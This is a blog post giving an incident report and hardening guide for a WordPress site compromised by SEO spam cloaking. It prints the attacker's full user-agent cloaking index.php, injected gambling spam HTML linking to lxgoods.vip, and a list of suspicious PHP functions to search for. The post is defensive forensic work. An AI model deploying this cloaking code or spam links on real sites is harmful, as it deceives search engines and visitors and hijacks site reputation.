WordPress Website Security Incident Response and Hardening Guide: Lessons Learned from an SEO Cloaking Attack

/ by admin / in Business, Entertaiment, Fashion, Life Style, Technology
wordpress incident response and hardening

Website Security Incident Report, Malware Analysis and Security Hardening Guide

Website example: rangura.rw
Platform: WordPress
Incident Type: SEO Spam Injection / User-Agent Cloaking / Malicious Redirect
Status: Resolved
Primary Issue: Malicious redirection and cloaking
Document Purpose: Incident documentation, forensic record, remediation procedure, and future security best practices

1. Executive Summary

The website rangura.rw experienced a security compromise in which malicious code was introduced into the WordPress website.

The attack involved user-agent-based cloaking, where different content was presented depending on the type of visitor accessing the website.

The malicious configuration was designed to:

  • Detect search engine crawlers such as Googlebot.
  • Detect mobile visitors.
  • Serve malicious SEO and gambling-related content to selected visitors.
  • Redirect or expose users to external websites.
  • Attempt to manipulate search engine indexing.
  • Promote unauthorized gambling-related content.
  • Use the legitimate website domain to improve the visibility of malicious SEO content.

The malicious content included references to:

  • OLXSLOT
  • Slot Gacor
  • SLOT
  • SPORT
  • CASINO
  • PRAGMATIC
  • SABA SPORT
  • EVOLUTION

The injected content also contained external links to:

https://lxgoods.vip/olxslot

The website was restored after identifying that the redirection/cloaking mechanism was the primary issue.

The incident demonstrates the importance of continuous WordPress security monitoring, file integrity checking, access control, malware scanning, and regular backups.

2. Incident Overview

2.1 Affected Website

bbc.rw or rangura.rw as example

2.2 Technology

WordPress
PHP
Apache/.htaccess
MySQL/MariaDB

2.3 Type of Attack

The incident exhibited characteristics of:

  • SEO poisoning
  • Search engine cloaking
  • User-agent detection
  • Malicious redirect
  • Unauthorized HTML injection
  • Spam content injection

3. How the Attack Worked

The attack relied on modifying the website’s entry point.

The legitimate WordPress index.php was replaced or modified with code that checked the visitor’s browser user-agent.

The logic was essentially:

                    Website Visitor
                          |
                          v
                    index.php
                          |
                          v
                 Identify User-Agent
                          |
              +-----------+-----------+
              |                       |
              v                       v
        Bot / Mobile             Normal Desktop
              |                       |
              v                       v
          text.txt                 kodok.php
              |                       |
              v                       v
       Spam / SEO Content       Normal WordPress

This allowed the attacker to hide the compromise from some normal visitors while presenting spam content to search engines and mobile users.

This technique is commonly known as cloaking.

4. Malicious Code Identified

The modified index.php contained code similar to the following:

<?php

$bot_user_agents = array(
    "Googlebot",
    "Googlebot-Image",
    "Googlebot-News",
    "Googlebot-Video",
    "Storebot-Google",
    "Google-InspectionTool",
    "GoogleOther",
    "GoogleOther-Image",
    "GoogleOther-Video",
    "Google-CloudVertexBot",
    "Google-Extended",
    "APIs-Google",
    "AdsBot-Google-Mobile",
    "AdsBot-Google",
    "Mediapartners-Google",
    "FeedFetcher-Google",
    "Google-Favicon",
    "Google Favicon",
    "Googlebot-Favicon",
    "Google-Site-Verification",
    "Google-Read-Aloud",
    "GoogleProducer",
    "Google Web Preview",
    "Bingbot",
    "Slurp",
    "DuckDuckBot",
    "Baiduspider",
    "YandexBot",
    "Sogou",
    "Exabot",
    "facebookexternalhit",
    "ia_archiver",
    "Alexa Crawler",
    "AhrefsBot",
    "Semrushbot"
);

$user_agent = isset($_SERVER['HTTP_USER_AGENT'])
    ? $_SERVER['HTTP_USER_AGENT']
    : '';

function is_bot($user_agent, $bot_user_agents) {

    foreach ($bot_user_agents as $bot) {

        if (stripos($user_agent, $bot) !== false) {
            return true;
        }

    }

    return false;
}

function is_mobile($user_agent) {

    $mobile_agents = array(
        'Mobile',
        'Android',
        'Silk/',
        'Kindle',
        'BlackBerry',
        'Opera Mini',
        'Opera Mobi',
        'iPhone',
        'iPad'
    );

    foreach ($mobile_agents as $mobile) {

        if (stripos($user_agent, $mobile) !== false) {
            return true;
        }

    }

    return false;
}

if (is_bot($user_agent, $bot_user_agents)) {

    include 'text.txt';
    exit;

} elseif (is_mobile($user_agent)) {

    include 'text.txt';
    exit;

} else {

    include 'kodok.php';
    exit;

}

5. Analysis of the Malicious Code

The malicious code performed three main actions.

5.1 Bot Detection

The code checked whether the visitor was a known search engine crawler.

For example:

if (is_bot($user_agent, $bot_user_agents))

It specifically searched for user-agents such as:

Googlebot
Bingbot
DuckDuckBot
Baiduspider
YandexBot
AhrefsBot
Semrushbot

This indicates that the attacker was specifically interested in search engine indexing and SEO manipulation.

5.2 Mobile Device Detection

The code also checked for mobile devices:

elseif (is_mobile($user_agent))

This included:

Android
iPhone
iPad
BlackBerry
Kindle
Opera Mini
Opera Mobi

This means mobile visitors could receive different content from desktop users.

5.3 Malicious Content Injection

The code then loaded:

include 'text.txt';

for bots and mobile users.

Normal desktop visitors were directed to:

include 'kodok.php';

The kodok.php file contained legitimate WordPress bootstrap code:

<?php

define( 'WP_USE_THEMES', true );

require __DIR__ . '/wp-blog-header.php';

Therefore, the kodok.php file itself was not the main malicious payload. It was effectively being used as an alternative entry point to the normal WordPress website.

The actual malicious content was located in text.txt.

6. Malicious SEO Content

The malicious content contained gambling-related material.

Example:

<div class="cta">

  <a class="btn"
     href="https://lxgoods.vip/olxslot"
     target="_blank">
     DAFTAR AKUN SLOT GACOR
  </a>

  <a class="btn"
     href="https://lxgoods.vip/olxslot"
     target="_blank">
     LOGIN AKUN SLOT GACOR
  </a>

</div>

Other injected content included:

SLOT
SPORT
CASINO
PRAGMATIC
SABA SPORT
EVOLUTION

The attack also included SEO anchor text similar to:

WEBSITE SLOT GACOR PALING GAMPANG MENANG HARI INI

This is evidence of an SEO spam campaign.

The attacker was attempting to use the reputation and domain authority of the legitimate website to promote unrelated gambling content.

7. Sitemap Investigation

The website sitemap was also reviewed.

The sitemap contained:

https://bbc.com/
https://bbccom/captcha/

No obvious gambling URLs were identified in the provided sitemap content.

However, because the website had already been compromised, the sitemap should still be reviewed regularly for:

  • Unknown URLs
  • Gambling pages
  • Spam pages
  • Fake login pages
  • Pharmaceutical spam
  • Adult content
  • Automatically generated directories
  • Unexpected subdomains

A clean sitemap does not necessarily mean that the website is clean.

8. Root Cause Investigation

The exact initial entry point should be investigated separately.

Possible causes include:

  • Compromised WordPress administrator credentials
  • Vulnerable WordPress plugin
  • Vulnerable WordPress theme
  • Outdated WordPress core
  • Stolen cPanel credentials
  • Compromised FTP/SFTP credentials
  • Weak passwords
  • Unauthorized administrator account
  • Malware already present on the hosting account
  • Vulnerable third-party software
  • File upload vulnerability

The malicious modification to index.php indicates that the attacker obtained sufficient access to modify website files.

9. Immediate Incident Response Procedure

When a similar incident is detected, the following procedure should be followed.

Step 1: Preserve Evidence

Before deleting suspicious files:

  • Create a complete backup.
  • Download a copy of suspicious files.
  • Record file modification dates.
  • Record suspicious URLs.
  • Record the IP addresses from server logs where available.
  • Save screenshots of the malicious content.

Do not immediately destroy evidence.

Step 2: Put the Website in Maintenance Mode

If the website is actively serving malicious content, temporarily restrict public access while investigation is performed.

Step 3: Identify Modified Files

Review recently modified files.

Priority locations:

public_html/
wp-admin/
wp-includes/
wp-content/
wp-content/plugins/
wp-content/themes/
wp-content/uploads/

Pay special attention to PHP files inside:

wp-content/uploads/

PHP files in the uploads directory are often suspicious unless specifically required.

Step 4: Inspect .htaccess

Check for unauthorized rules involving:

RewriteCond
RewriteRule
HTTP_USER_AGENT
Googlebot
Bingbot
mobile
bot
redirect

Look for suspicious redirects.

Step 5: Restore Core WordPress Files

Replace modified WordPress core files with clean copies from the official WordPress distribution matching the installed version.

Do not blindly overwrite:

wp-config.php

because it contains database configuration.

Step 6: Remove Malicious Files

After preserving evidence, remove confirmed malicious files.

Examples from this incident included:

text.txt

and the modified:

index.php

The index.php file was restored to legitimate WordPress code.

10. Restore the Correct WordPress index.php

A standard WordPress root index.php is approximately:

<?php

/**
 * Front to the WordPress application.
 *
 * @package WordPress
 */

define( 'WP_USE_THEMES', true );

require __DIR__ . '/wp-blog-header.php';

The WordPress root index.php should not normally contain custom user-agent detection logic for Googlebot or mobile visitors.

11. Search for Additional Backdoors

After cleaning the website, perform a full search for suspicious code.

Search for:

base64_decode
eval(
gzinflate
str_rot13
shell_exec
system(
passthru
assert(
preg_replace
create_function
file_get_contents
curl_exec
HTTP_USER_AGENT
Googlebot
Bingbot
DuckDuckBot

Also search for known malicious indicators identified during this incident:

OLXSLOT
Slot Gacor
lxgoods.vip
text.txt
asipena.tolz.workers.dev

Be careful: not every occurrence of functions such as base64_decode() is malicious. These must be investigated in context.

12. WordPress Administrator Security

Review:

Users → All Users

Look for:

  • Unknown administrators
  • Newly created accounts
  • Suspicious usernames
  • Accounts with administrator privileges that should not have them

Remove unauthorized accounts.

Reset passwords for all legitimate administrators.

13. Plugin and Theme Security

Review every installed plugin.

Remove:

  • Unused plugins
  • Abandoned plugins
  • Pirated plugins
  • Nulled themes
  • Unused themes

Update:

  • WordPress Core
  • Plugins
  • Themes
  • PHP

Only download plugins and themes from trusted sources.

14. Hosting and cPanel Security

Review:

  • cPanel users
  • FTP accounts
  • SFTP accounts
  • SSH access
  • Cron Jobs
  • Email accounts
  • Database users
  • File Manager access
  • API tokens
  • Hosting control panel sessions

Remove unknown accounts.

Change all credentials following an incident.

15. Password Policy

Use strong, unique passwords for:

  • cPanel
  • WordPress
  • Database
  • FTP/SFTP
  • Hosting provider
  • Domain registrar

Never reuse the same password between services.

Enable multi-factor authentication where available.

16. File Permission Best Practices

Typical WordPress permissions are:

Directories: 755
Files:       644
wp-config.php: More restrictive where supported

Avoid:

777

unless there is a specific technical requirement.

File permissions should be reviewed after a compromise.

17. Disable PHP Execution in Uploads

Where appropriate, prevent PHP execution in:

wp-content/uploads/

This can reduce the risk of attackers uploading and executing malicious PHP files.

The exact configuration should be tested carefully before implementation.

18. WordPress Security Hardening

Recommended controls include:

  • Keep WordPress updated.
  • Keep plugins updated.
  • Keep themes updated.
  • Remove unused plugins.
  • Remove unused themes.
  • Use strong administrator passwords.
  • Enable 2FA.
  • Limit administrator accounts.
  • Disable unnecessary file editing.
  • Use HTTPS.
  • Use a Web Application Firewall.
  • Monitor login attempts.
  • Monitor file changes.
  • Regularly scan for malware.
  • Maintain offline backups.
  • Review server logs.

19. Disable WordPress File Editing

If administrators do not need to edit plugin and theme files from WordPress, consider disabling the built-in editor.

In wp-config.php:

define( 'DISALLOW_FILE_EDIT', true );

This reduces the ability to modify PHP files directly from the WordPress dashboard if an administrator account is compromised.

20. Backup Strategy

Maintain multiple backups.

Recommended approach:

Website
   |
   +---- Daily Backup
   |
   +---- Weekly Backup
   |
   +---- Monthly Backup
   |
   +---- Off-site Backup

Backups should include:

  • WordPress files
  • Database
  • Configuration
  • Media/uploads

At least one backup copy should be stored separately from the hosting server.

Most importantly, regularly test restoration.

A backup that cannot be restored is not a reliable backup.

21. Monitoring and Detection

Implement monitoring for:

File changes

Monitor:

index.php
.htaccess
wp-config.php

and other critical files.

Administrator changes

Monitor:

  • New users
  • Role changes
  • Password resets

Plugin changes

Monitor:

  • Plugin installation
  • Plugin activation
  • Plugin updates

Website behavior

Monitor for:

  • Unexpected redirects
  • Google Search Console warnings
  • Spam URLs
  • Unusual traffic
  • Unexpected 404 pages
  • New PHP files

22. Google Search Console Monitoring

After an SEO spam incident, check Google Search Console for:

  • Security Issues
  • Manual Actions
  • Indexed spam URLs
  • Unusual search queries
  • Unexpected pages
  • Coverage/indexing changes

Search Google using:

site:rangura.rw

Look for pages that do not belong to the organization.

Examples:

site:rangura.rw slot
site:rangura.rw casino
site:rangura.rw gacor

If malicious pages have been indexed, clean the website first and then request re-indexing/removal through the appropriate Google tools.

23. Security Testing After Cleanup

After cleanup, test the website using:

Desktop browser

Confirm:

Homepage loads normally

Mobile device

Confirm:

Homepage loads normally

Search engine crawler simulation

Verify that the website does not serve a different malicious page based on user-agent.

HTTP status

Check:

200 OK

where appropriate.

Redirect testing

Verify that the website does not unexpectedly redirect to external domains.

24. Incident Indicators Identified

The following indicators should be retained in the incident report:

OLXSLOT
Slot Gacor
DAFTAR AKUN SLOT GACOR
LOGIN AKUN SLOT GACOR
PRAGMATIC
SABA SPORT
EVOLUTION
lxgoods.vip/olxslot

Suspicious file:

text.txt

Modified entry point:

index.php

Alternative WordPress bootstrap file:

kodok.php

The kodok.php code itself was found to be functionally equivalent to the standard WordPress entry point and was not independently identified as the malicious payload.

25. Lessons Learned

The incident demonstrates several important security lessons.

Lesson 1

A website can appear normal to administrators while serving malicious content to search engines and mobile users.

Lesson 2

A clean homepage does not necessarily mean the website is clean.

Lesson 3

User-agent-based cloaking should be treated as a serious security indicator.

Lesson 4

Unexpected PHP or text files in the website root should be investigated.

Lesson 5

Search engine indexing must be monitored after a compromise.

Lesson 6

Backups must be maintained separately from the production server.

Lesson 7

Security monitoring should detect unauthorized file modifications.

26. Recommended Security Architecture

For a production WordPress website, the recommended security model is:

                    Internet
                       |
                       v
              DNS / CDN / WAF
                       |
                       v
                Web Server
                       |
             +---------+---------+
             |                   |
             v                   v
        WordPress             Database
             |
       +-----+-----+
       |           |
       v           v
    Plugins      Themes
       |
       v
   Monitoring
       |
       v
   Backup System
       |
       v
 Off-site Storage

The objective is to ensure that a single compromised component does not result in permanent loss of the website.

27. Final Incident Status

Status: Resolved

Primary malicious behavior: User-agent-based cloaking and SEO spam injection.

Affected component: WordPress website entry point and malicious content file.

Malicious content: Gambling-related SEO spam.

Resolution: Malicious redirection/cloaking mechanism identified and removed/restored.

Current status: Website functioning normally after removal of the malicious redirection.

Recommended next step: Perform a complete post-incident malware scan and review all recently modified files, administrator accounts, plugins, themes, .htaccess, cron jobs, and hosting access logs to ensure no persistent backdoor remains.

Security Incident Conclusion

The incident involving rangura.rw demonstrates a sophisticated but recognizable form of WordPress compromise involving SEO spam and user-agent cloaking.

The attacker modified the website’s entry point to differentiate between search engine crawlers, mobile users, and normal desktop visitors. The malicious code then served an external gambling-related SEO page through text.txt, while normal desktop users were directed to a WordPress bootstrap file.

The most important security improvement is to move from a reactive approach, where malicious files are removed after discovery, to a continuous security approach involving:

Prevention → Monitoring → Detection → Backup → Incident Response → Recovery → Continuous Hardening

The website should now undergo a full security audit to confirm that the attacker did not leave any additional backdoors or compromised administrator credentials.

admin

Leave a Reply

Your email address will not be published. Required fields are marked *

Main Menu